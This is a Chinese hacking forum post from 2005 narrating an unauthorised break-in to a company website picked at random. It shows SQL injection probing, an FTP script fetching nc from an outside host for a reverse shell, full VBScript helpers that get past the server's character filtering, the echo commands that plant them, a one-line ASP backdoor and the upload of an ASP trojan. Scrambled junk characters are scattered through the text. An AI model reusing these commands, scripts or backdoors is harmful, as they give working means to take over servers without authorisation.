|
作者:haicao [E.S.T], |5 r C5 J5 z u1 G/ E
1 D3 s* H) F' {! {$ [7 ] [4 k0 p今天在网上看到一个动画，动画里说那些大公司的安全做的怎么怎么差，所以我便决定找个看看，在GOOGLE随便输入了"集团",搜索到的第一页随便点击就进了一家公司的网站。随便点了一个连接加了一个单引号8 R/ v8 M3 b8 S( F/ z
http://www.xxx.com.cn/gushi.asp?pid=8&cid=111'
) g' y) N8 x" z% ?+ G4 g晕，返回错误：
8 X7 T. y: e$ Z5 q C- ]' Z% OMicrosoft VBScript 编译器错误 错误 '800a03f6' + h8 T4 w% [ R n: p
X: v0 u7 }! R5 f( u: f9 }缺少 'End'
3 c1 E* i* W' l- i9 l. ?3 Y( `: i K j; l L2 _) _2 H
/iisHelp/common/500-100.asp，行242 9 b! e; T# G9 I7 W9 y# V
7 O+ S3 X/ Q0 t7 v8 S+ z/ O0 GMicrosoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
7 e6 y; Y; ^4 b: K& e/ x) w! d f! u( ^7 q9 v* W
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。 4 L' F: Z5 j' Y8 P
6 d% x* v" E# Q5 d/inc/artid.inc，行8 6 F7 B! ?; _' @* j1 W+ ^# |: E
返回的信息说明是SQL Server0 y% a @1 b( U4 v$ |- M
ping www.xxx.com.cn后返回IP：61.XX.XX.68通过IP可以直接访问这个网站，说明是独立的服务器。! ~2 s3 v$ }& A! h9 ?( z
我一下来了兴致看来是家有钱的大公司，用NBSI检测了下这个连接,竟然是SA权限的！
1 s7 n c: z6 {4 s# D) C" p: f# S0 r2 b+ w
 % U$ M9 o$ K* q; {4 i/ n* o
我用SUPERSCAN扫描了这台主机的开放端口只开放了80及8080端口(都是提供web服务，看来是装了_blank">防火墙，意料之中)。这样的话直接添加用户开3389什么都失去了意义了。只好重新理清头绪。
* A% ]5 N" I$ }3 J* `7 v1 n2 Q/ u; K; s首先想到的是用ECHO写一个ftp.txt文件然后执行ftp -s:ftp.txt来下载一个nc在NBSI里执行命令反向连接过来就可以得到它的系统权限了，但在用ECHO写文件时又出了问题了，我输入一条ECHO命令竟然执行了四次。如图我输入命令 echo open ftp.eviloctal.com>>e:\xxxweb\app\3.txt(e:\xxxweb为网站根目录)竟然往文件里写入了四次这样的话直接用ftp.txt下载文件肯定没戏。
8 ?- |. Z* H. d+ [- v; L) `: P4 z
9 V$ _' t- j; Q( m; ?8 v" B6 ~ % h" h/ O: @) a5 U
 2 E; ?6 D' Y+ Q- w- s5 s
(特别提示：用NBSI执行命令的时侯最好不要勾选尝试返回结果，因为执行命令会很慢很慢，而用重定向符">>"把命令的执行结果重定向输出到web目录比如dir c:\可以写成dir c:\ >> e:\xxxweb\app\1.txt这样速度很快然后通过浏览器查看命令执行结果浏览http://www.xxx.com.cn/app/1.txt e:\xxxweb为网站的根目录)
0 `; X3 M" {" r0 [: b5 H+ g0 h0 N! W# W. a& ~6 g; P9 y4 s4 v {
如果能把那个一句话的后门(服务端:)写到WEB目录就好办了，但是不管怎么ECHO %也被过滤掉了。在本地执行echo ^的文件，但在NBSI里执行时无论如何生成的文件中%被过滤了。内容变成:. m1 a' Q4 @) Q" S5 O
# N, a6 y% e" B% n
<execute request("l")> % G$ F' b: E; d# e1 k, p# B
<execute request("l")> 1 K$ }9 m2 A, Y: ?" p
<execute request("l")> 7 r( e8 N# T3 ]4 k1 ~% |; A
<execute request("l")>
$ l' }2 i3 c5 K4 z+ t / y0 i! g/ o' ]* l6 f6 ~2 c
& g6 y$ x0 t3 u) L2 r
这样的话，就没办法直接写一句话的ASP服务端后门了。(内容为四句原因同上)我想到了先写一个VBS脚本然后把要写的文件内容作为参数传递给VBS脚本去处理生成相应的文件。: b$ S! U2 }5 w
写文件的脚本writefile.vbs(命令格式为cscript writefile.vbs "要写的字串" 目标文件)内容为：4 `7 e# w) {) E, N
on error resume next:x=1:
- H8 Y/ \8 X# C, _7 p1 V4 x2 Vstr=replace(Wscript.Arguments(0),"==",vbcrlf): '将==替换回车5 ~, y1 {" _4 v4 y9 _! s
str=replace(str,"**",""""): ‘将**替换为符号". A% d" Z) T& d0 N% u( r) O
str=replace(str,"--",chr(38)): ‘将--替换为符号 &; K" s% u h) ~6 R: g
str=replace(str,"@@",chr(37)): '将@@替换符号%
* n7 D) H# t' K7 o4 ISet fso = CreateObject("Scripting.FileSystemObject"):
" [" @* j3 a( fSet a = fso.CreateTextFile(Wscript.Arguments(1),true): ‘创建文件,文件名为执行时给出的第二个参数
$ @3 _* [8 z4 A8 oif x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:
& y3 b% p6 D2 y6 m2 z这个文件得用ECHO命令把它写到服务器上xxx.vbe或xxx.vbs，然后用这个VBS写我们要的文件。(上面中因为像",%,&,回车符 是不能直接作为参数传递给脚本文件的,所以还需要对这些字符进行替换。下面的脚本trans.vbs将完成相反的过程)
. q9 T, ]* G8 Y: d c2 B简单解释一下：第一条语句是最重要的，容错语句不管后面的程序出了什么错都继续执行。其次是IF语句，为了避免多条语句重复向文件写入同样的内容用了一个标志若x=1才执行写文件，写完马上把x赋值为2。其次可能你会感到奇怪为什么每条语句后加了:，其实是因为我考虑到如果在同一行有多条相同的语句的时侯可以保证程序还能执行。比如:- _6 ], t, |/ J) f' o0 c
str=replace(Wscript.Arguments(0),"==",vbcrlf):str=replace(Wscript.Arguments(0),"==",vbcrlf):9 X# z9 |% p, T; C
若写成str=replace(Wscript.Arguments(0),"==",vbcrlf)2 i$ G( L+ |, w' P1 B3 K
则一行显示多条相同语句时变成
! }, C& l& F- v, ustr=replace(Wscript.Arguments(0),"==",vbcrlf)str=replace(Wscript.Arguments(0),"==",vbcrlf)
) I& ?7 i( q2 |4 W4 l9 b. j这样程序便不能正常执行了。
& c [& R. J! k8 f",%,&,回车符 是不能直接作为参数传递给脚本文件,容易看出用==代替了回车，用**代替了双引号,用--代替了&，用@@代替了%.在执行写文件得先把我们要写的文件比如转换成writefile.vbs可以接受的格式。用下面的脚本转换trans.vbs(命令格式为cscript trans.vbs 源文件 目标文件)：
0 `$ G; s/ y2 b! ]9 yon error resume next5 ?! K3 m) A7 k/ \) _( [7 D9 D- h
if Wscript.Arguments.count<>2 then # L B, O$ p K8 G* Z( B
wscript.echo "参数有误啦 格式为:cscript trans.vbs 源文件 目标文件"( J) ]3 N {7 ?+ _- B7 O0 C0 x R
wscript.quit) p9 s# y+ K, g J7 a0 _8 D% X5 h
end if. m) y# f, A8 A# f& v1 w
Set fso=CreateObject("Scripting.FileSystemObject")) W0 b' A6 D! j! U4 X
Set a=fso.openTextFile(Wscript.Arguments(0))0 ?6 @$ h# j2 y' `
str=a.readall, n! z. r, n, v- p' _- |
str=replace(str,"""","**") '把双引号替换成**
. `# u. R, x6 g% |0 l7 }5 B( W* dstr=replace(str,vbcrlf,"==") '把回车替换成==" k8 a* H; O1 O7 S- Z1 T8 r4 m
str=replace(str,"&","--") '把&号替换成--4 T& U& C% E ~5 C6 m" r7 [
str=replace(str,"%","@@") '把%替换成@@1 A+ Y/ f6 m: j: w. q/ H
wscript.echo str
# _+ e9 u* ~+ V' ^8 ASet a=fso.CreateTextFile(Wscript.Arguments(1), True), M/ g9 n/ w3 @- x* K
a.Write(str)
* h% Q2 E0 Z; R, a
) _/ j) q/ ~" |% C# P0 Y在本地执行cscript trans.vbs one.txt onetrans.txt
3 V5 v% K2 l, L2 ~% |& A其中one.txt为我们的一句话后门内容为：
/ Q5 G5 U/ X* L8 t) W; r+ ]$ U转换后内容存在onetrans.txt中内容变成转换后的：<@@execute request(**l**)@@>保存在文件onetrans.txt中。# T8 i* [, n# k* A1 i/ m
writefile.vbs的ECHO代码为：9 u: ]5 u- m* [8 p6 A& N. F" R
echo on error resume next:x=1:>>writefile.vbe% _2 h5 @0 q5 K" Q7 _
echo str=replace(Wscript.Arguments(0),"==",vbcrlf):>>writefile.vbe
/ P8 a$ i3 O( e6 e3 Q U( r' y2 s3 _! lecho str=replace(str,"**",""""):>>writefile.vbe " y2 P. }8 D9 p7 o
echo str=replace(str,"--",chr(38)):>>writefile.vbe
0 B" j7 ^2 ~, ]7 _% \echo str=replace(str,"@@",chr(37)):>>writefile.vbe " v' t! E9 ] x7 `
echo Set fso = CreateObject("Scripting.FileSystemObject"):>>writefile.vbe
: h* s* v0 f. _" O pecho Set a = fso.CreateTextFile(Wscript.Arguments(1),true):>>writefile.vbe
) X- n! j# r; ]" lecho if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:>>writefile.vbe
3 l5 c a7 t' [ q ^0 x" F' r/ r% Q4 d8 `% p) E
把上面的命令一句句拿到NBSI的NB Commander 命令执行器上执行一下就在对方的系统目录下写进了一个文件writefile.vbe,接着就可以把一句话的服务器的后门写到对方WEB目录下了！命令为：) I, q& e. R7 g
cscript writefile.vbe "<@@execute request(**l**)@@>" d:\web\app\1.asp (注意当传递给脚本的参数中含空格时一定得用两个双引号括起来！)4 H6 e% F2 s# o: R
相应的地址为：http://www.xxx.com.cn/app/1.asp
0 N* U; z8 Z( j1 F把post.htm的form action指向这个地址我们就可以在本地把我们的木马上传到服务器上了！如图：
& X$ D7 a! ]: H' g z( Z: c8 w# l1 m
 . X5 ^5 e d4 N" N
执行post.htm在下面的文本框中粘贴一下我们用来保存文件的ASP木马。并点击upload当成功转向EST论坛时说明ASP木马上传成功了！$ t! c# @* {6 [
* r& Q6 X& q% q/ p) ]( t+ L我很顺利的把保存文件的木马上传到了服务器上文件名为advv.asp.如图：
6 M) w; U7 i6 }1 A; i. r/ F t
: B o, v3 u' Y' {( q: N8 [ 我把这个木马加了验证所以必须得通过这个url才能顺利访问:# U" a: k! d: \8 p& [5 q2 R
http://www.xxx.com.cn/app/advv.asp?id=haicao （当未加参数id=haicao时显示空页面） |
IP卡
狗仔卡
发表于 2005-3-20 13:51
转播
淘帖
分享
收藏
支持
反对
微信
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
显身卡
: z0 U" p/ n$ k
之后我尝试了几个其它的端口依然可以正常的反向连接过来，到此我没再深入下去了，怕怕。
